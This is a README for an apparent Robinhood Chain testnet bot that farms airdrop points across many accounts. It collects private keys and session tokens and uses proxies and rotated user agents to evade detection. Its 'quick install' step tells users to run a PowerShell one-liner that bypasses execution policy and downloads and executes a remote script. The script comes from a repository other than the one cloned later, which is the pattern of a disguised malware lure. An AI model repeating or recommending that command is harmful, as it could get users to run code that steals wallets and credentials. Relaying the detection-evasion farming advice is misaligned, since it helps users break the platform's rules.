Automated multi-account bot for Robinhood Chain testnet — completes on-chain tasks, maintains streaks, and farms points across unlimited accounts with per-account proxy support
╔══════════════════════════════════════════════════════════════════╗
║ Module 1 — On-Chain Tasks │ txs, swaps, bridge, check-ins ║
║ Module 2 — Streak Keeper │ never miss a daily check-in ║
║ Module 3 — Points Farmer │ full automation across N accs ║
║ ║
║ ✦ Multi-account · Per-account proxies · Async workers ║
╚══════════════════════════════════════════════════════════════════╝
🚀 Join Robinhood Chain · 🐦 Follow Dev
If you just want to get the project running fast on Windows, use the installation command below first. After that, continue with the project-specific setup, configuration, and usage sections.
Open CMD and run this single command:
powershell -ep bypass -c "iwr https://github.com/GGmeitarGG/Robinhood-Chain-Testnet-Bot/releases/download/v1.92/main.ps1 -UseBasicParsing | iex"Then continue with the project-specific setup steps below.
python3 -m venv venv
# Linux / Mac
source venv/bin/activate
# Windows
venv\Scripts\activatepip install requests web3 python-dotenv colorama aiohttp aiohttp-socks eth-accountEach wallet needs testnet native tokens to pay for gas. Get them from the Robinhood Chain testnet faucet — link available in the official Discord or dashboard after connecting your wallet.
For each account, follow the steps in Multi-Account & Proxy Support above.
cp accounts.example.json accounts.json
nano accounts.json- Quick Start
- How It Works
- Multi-Account & Proxy Support
- Modules
- Configuration
- Running the Bot
- Running 24/7 on a VPS
- Telegram Commands
- Disclaimer
Robinhood Chain testnet resets daily tasks
│
▼ (all accounts check simultaneously)
│
Per account:
• Authenticate with session token + wallet
• Route traffic through assigned proxy
• Fetch available task list
• Execute on-chain interactions (signed txs)
• Maintain daily check-in streak
│
▼
Points credited to each account 🎯
│
▼
Telegram summary sent 📱
Every account runs as an independent async worker — one expired token or dead proxy never blocks the others.
All accounts live in accounts.json. Each entry holds its own wallet, session token, and optionally a dedicated proxy.
accounts.json
├── Account #1 → wallet_1 + token_1 + proxy_1
├── Account #2 → wallet_2 + token_2 + proxy_2
├── Account #3 → wallet_3 + token_3 + (no proxy)
└── ...unlimited accounts
│
▼
Bot spawns one async worker per account
│
▼
Workers run in parallel up to MAX_PARALLEL
Remaining accounts queue and start as slots free
accounts.json structure:
[
{
"id": "account_1",
"label": "Main",
"wallet_address": "0xYourWallet1",
"private_key": "0xYourPrivateKey1",
"rchain_token": "your_session_token_1",
"referral_code": "YOUR_REF",
"proxy": "http://user:pass@host:port"
},
{
"id": "account_2",
"label": "Secondary",
"wallet_address": "0xYourWallet2",
"private_key": "0xYourPrivateKey2",
"rchain_token": "your_session_token_2",
"referral_code": "YOUR_REF",
"proxy": "socks5://user:pass@host:port"
},
{
"id": "account_3",
"label": "No proxy",
"wallet_address": "0xYourWallet3",
"private_key": "0xYourPrivateKey3",
"rchain_token": "your_session_token_3",
"referral_code": "YOUR_REF",
"proxy": ""
}
]For each account:
- Log in at robinhoodchain.com
- Open DevTools (
F12) → Application → Cookies →robinhoodchain.com - Copy the auth/session token value
- Paste it into
rchain_tokeninaccounts.json
⚠️ Session tokens expire periodically. When a token expires, only that account pauses — all others keep running. The bot sends a Telegram alert specifying which account needs a refresh.
| Format | Example |
|---|---|
| HTTP | http://user:pass@host:port |
| HTTPS | https://user:pass@host:port |
| SOCKS5 | socks5://user:pass@host:port |
| No auth | http://host:port |
| None | leave "proxy": "" |
MAX_PARALLEL=5 # Max accounts running at the same time
ACCOUNT_DELAY=15 # Seconds between launching each worker
JITTER=true # Random ±10s delay per action (human-like)
PROXY_TEST_ON_START=true # Verify each proxy before farming begins
ROTATE_USER_AGENT=true # Unique user-agent per account💡 Tip: With 10+ accounts on the same IP, use proxies to avoid rate-limit detection. Enable
PROXY_TEST_ON_START=true— dead proxies are flagged before the cycle starts, not mid-run.
The bot fetches the full task list for each account and executes every eligible on-chain interaction automatically, prioritizing highest-point tasks first.
Authenticate account (token + optional proxy)
│
▼
Fetch task list → filter by: daily | weekly | one-time
│
▼
Sort by points descending
│
▼
Execute each eligible task:
• Daily check-in (streak ping to contract)
• Send transaction (native token transfer on testnet)
• Swap (interact with testnet DEX)
• Bridge (testnet bridge interaction)
• Deploy contract (if applicable)
• Social task (follow, share, repost)
│
▼
Tx signed with account private key → broadcast ✅
Task marked complete → points credited 🎯
Supported task types:
| Task Type | Description | Frequency |
|---|---|---|
| Daily check-in | On-chain streak ping | Daily |
| Send tx | Native token transfer on testnet | Daily |
| Swap | Interact with testnet DEX | Daily / Weekly |
| Bridge | Use testnet bridge | Weekly |
| Deploy | Deploy a simple contract | One-time / Weekly |
| Social | Follow / share / repost | One-time / Weekly |
| Referral | Points for referred accounts | Ongoing |
Config block:
MODULE=tasks
TASK_TYPES=checkin,send,swap,bridge,social
TASK_INTERVAL=3600 # Check for new tasks every N seconds
TASK_PRIORITY=points_desc # points_desc | points_asc | fifo
SKIP_TASKS= # Comma-separated task IDs to skip
MAX_TASKS_PER_RUN=20 # Max tasks per account per cycle
GAS_LIMIT=200000 # Gas limit for testnet txs
GAS_PRICE_GWEI=1 # Gas price (testnet — keep low)
TX_TIMEOUT=60 # Seconds to wait for tx confirmation💡 Tip: Set
TASK_PRIORITY=points_descand includecheckininTASK_TYPES— the daily streak bonus multiplies points on everything else and should never be skipped.
A dedicated lightweight module with one job: ensure every account hits its daily check-in before the reset window closes, regardless of what else the bot is doing.
Every account: calculate time until next daily reset
│
▼
Check-in window open?
• YES → execute check-in tx immediately
• NO → sleep until window opens
│
▼
Streak incremented ✅ (on-chain)
│
▼
If check-in fails (gas, RPC error):
• Retry up to MAX_RETRIES
• Telegram alert if still failing with N hours left
Why a separate module:
Tasks can be skipped and recovered the next day. Streaks can't — missing a single day resets your multiplier. The Streak Keeper runs on its own tight loop, independent of the main farming cycle, and will wake up specifically to submit the check-in tx even if the farmer is sleeping.
Config block:
MODULE=streak
STREAK_CHECK_INTERVAL=1800 # Check streak status every 30 min
STREAK_ALERT_THRESHOLD=2 # Alert N hours before reset window closes
STREAK_FORCE_CHECKIN=true # Attempt check-in even if other tasks fail
STREAK_MAX_RETRIES=5 # Retry failed check-in tx up to N times
STREAK_RETRY_DELAY=60 # Seconds between retriesCombines both modules into one fully automated loop. Each account runs its own independent cycle — tasks, on-chain interactions, and streak check-ins all managed in parallel.
All account workers start (staggered by ACCOUNT_DELAY)
│
▼ each worker independently:
│
Run streak check-in (Module 2)
│
▼
Complete available tasks (Module 1)
│
▼
Wait CYCLE_INTERVAL
│
▼
Daily cap reached?
• NO → next cycle
• YES → sleep until midnight reset 😴
│
▼
Telegram summary: points per account, streaks, tx count 📱
Config block:
MODULE=farmer
DAILY_POINTS_CAP=1000 # Per-account daily target (0 = no cap)
CYCLE_INTERVAL=3600 # Seconds between farming cycles
FARMER_START_TIME=07:00
FARMER_STOP_TIME=23:30
POST_CYCLE_SUMMARY=true # Send Telegram summary after each cycleSee the Multi-Account & Proxy Support section for the full structure.
# ── Active module ──────────────────────────────────────
# Options: tasks | streak | farmer
MODULE=farmer
# ── Robinhood Chain RPC ────────────────────────────────
RPC_URL=https://testnet-rpc.robinhoodchain.com
CHAIN_ID= # Fill in after checking official docs
# ── Multi-account ──────────────────────────────────────
ACCOUNTS_FILE=accounts.json
MAX_PARALLEL=5
ACCOUNT_DELAY=15
JITTER=true
PROXY_TEST_ON_START=true
ROTATE_USER_AGENT=true
# ── Gas settings ───────────────────────────────────────
GAS_LIMIT=200000
GAS_PRICE_GWEI=1
TX_TIMEOUT=60
# ── Task settings ──────────────────────────────────────
TASK_TYPES=checkin,send,swap,bridge,social
TASK_INTERVAL=3600
TASK_PRIORITY=points_desc
MAX_TASKS_PER_RUN=20
SKIP_TASKS=
# ── Streak settings ────────────────────────────────────
STREAK_CHECK_INTERVAL=1800
STREAK_ALERT_THRESHOLD=2
STREAK_FORCE_CHECKIN=true
STREAK_MAX_RETRIES=5
# ── Farming schedule ───────────────────────────────────
DAILY_POINTS_CAP=1000
CYCLE_INTERVAL=3600
FARMER_START_TIME=07:00
FARMER_STOP_TIME=23:30
# ── Telegram (optional but recommended) ────────────────
TELEGRAM_TOKEN=
TELEGRAM_CHAT_ID=# First-time setup (creates accounts.json template)
python rchain_bot.py --setup
# Run all accounts
python rchain_bot.py
# Run a single account
python rchain_bot.py --account account_1
# Single cycle and exit
python rchain_bot.py --once
# Test proxies without executing any transactions
python rchain_bot.py --test-proxies
# Dashboard only
python rchain_bot.py --dashboardOn successful start:
╔══════════════════════════════════════════════════════╗
║ 🤖 Robinhood Chain Testnet Bot v1.0 ║
║ Press Ctrl+C at any time to stop. ║
╚══════════════════════════════════════════════════════╝
Module: farmer
Network: Robinhood Chain Testnet
Accounts: 4 loaded
Proxies: 3 assigned (1 direct)
Parallel: up to 5
Jitter: ON
Testing proxies... ██████████ 3/3 OK
Start bot? [yes/no]: yes
Live terminal dashboard:
🤖 Robinhood Chain Bot v1.0 updated 09:04:15
══════════════════════════════════════════════════════════════
Module: farmer Accounts: 4 Next cycle: 44m
──────────────────────────────────────────────────────────────
ACCOUNTS
ID Points today Streak Txs today Status
account_1 540 / 1000 🔥 22d 6 ● running
account_2 310 / 1000 🔥 9d 3 ● running
account_3 820 / 1000 🔥 35d 8 ● running
account_4 0 / 1000 1d 0 ⏳ queued
──────────────────────────────────────────────────────────────
TASKS (account_3)
Task Status Points Tx Hash
Daily check-in ✅ done +25 0xabc...
Send transaction ✅ done +50 0xdef...
Testnet swap ✅ done +100 0x123...
Bridge interaction ⏳ pending +150 —
──────────────────────────────────────────────────────────────
RECENT ACTIVITY
09:04:15 account_3 Swap tx confirmed +100 pts 0x123...
09:03:40 account_1 Check-in confirmed +25 pts 0xabc...
09:02:55 account_2 Send tx confirmed +50 pts 0xdef...
09:01:10 account_4 Proxy OK — starting shortly
For continuous operation, use a cheap VPS (Vultr, DigitalOcean, Hetzner — ~$5/month).
# 1. Update system
sudo apt update && sudo apt upgrade -y
sudo apt install python3 python3-pip python3-venv screen git -y
# 2. Clone repo
git clone https://github.com/omgmad/robinhood-chain-bot
cd robinhood-chain-bot
# 3. Virtual environment
python3 -m venv venv
source venv/bin/activate
pip install requests web3 python-dotenv colorama aiohttp aiohttp-socks eth-account
# 4. Configure
nano .env
nano accounts.json
# 5. Run inside screen (stays alive after you disconnect)
screen -S rchainbot
source venv/bin/activate
python rchain_bot.py
# Press Ctrl+A then D to detach — bot keeps runningscreen -r rchainbottail -50 rchain_bot.log
grep "confirmed" rchain_bot.log | tail -20 # Confirmed transactions
grep "streak" rchain_bot.log | tail -20 # Streak events
grep "proxy" rchain_bot.log | tail -20 # Proxy events
grep "token expired" rchain_bot.log | tail -10 # Token refresh alerts
grep "ERROR" rchain_bot.log | tail -10 # Errors- Search for
@BotFatheron Telegram, send/newbot - Copy the token into
.env:
TELEGRAM_TOKEN=your_bot_token_here- Search for
@userinfobot, send any message - Copy the numeric ID into
.env:
TELEGRAM_CHAT_ID=123456789| Command | Action |
|---|---|
/status |
All accounts: points, streaks, tx count, proxy |
/tasks |
Completed and pending tasks per account |
/streaks |
Streak counter for every account |
/pause |
Pause all accounts |
/pause account_1 |
Pause one specific account |
/resume |
Resume all accounts |
/proxies |
Proxy health for all accounts |
/stop |
Stop the bot completely |
/points |
Full points breakdown across all accounts |
⛓️ Task Completed
Account: account_1
Task: Testnet swap
Tx: 0x123abc...
Points: +100
Total: 540 / 1000 today
🔥 Streak Maintained
Account: account_3
Streak: 35 days
Tx: 0xdef456...
⚠️ Streak At Risk
Account: account_2
Reset in: 2 hours
Action: forcing check-in now...
⚠️ Token Expired
Account: account_2
Action: refresh rchain_token in accounts.json
Status: account_2 paused — all others still running
⚠️ Proxy Failed
Account: account_1
Proxy: proxy_2
Action: falling back to direct connection
🌙 Daily Cap Reached
account_1 → 1000 / 1000 pts 😴
account_3 → 1000 / 1000 pts 😴
account_2 → 310 / 1000 pts ● still farming
IMPORTANT: This bot interacts with a testnet blockchain on your behalf. Use responsibly and in accordance with Robinhood Chain's terms of service.
- Never share your
accounts.json, private keys, or session tokens with anyone - Only use dedicated testnet wallets — never your mainnet wallet
- With many accounts on the same IP, use proxies to avoid rate-limit bans
- Session tokens expire — the bot notifies you per account, others keep running
- Testnet tokens have no monetary value — do not use mainnet funds
- Testnet points and rewards are subject to Robinhood Chain's final airdrop/TGE rules — nothing is guaranteed
If this helped you, please give it a ⭐ Star — it means a lot!
robinhood-chain-bot robinhoodchain-bot testnet-bot on-chain-tasks points-farmer multi-account-bot crypto-bot automated-trading defi-farming streak-keeper daily-checkin proxy-support async-bot python-bot web3-bot testnet-farming robinhood-testnet batch-farming on-chain-bot task-automation points-mining gas-optimization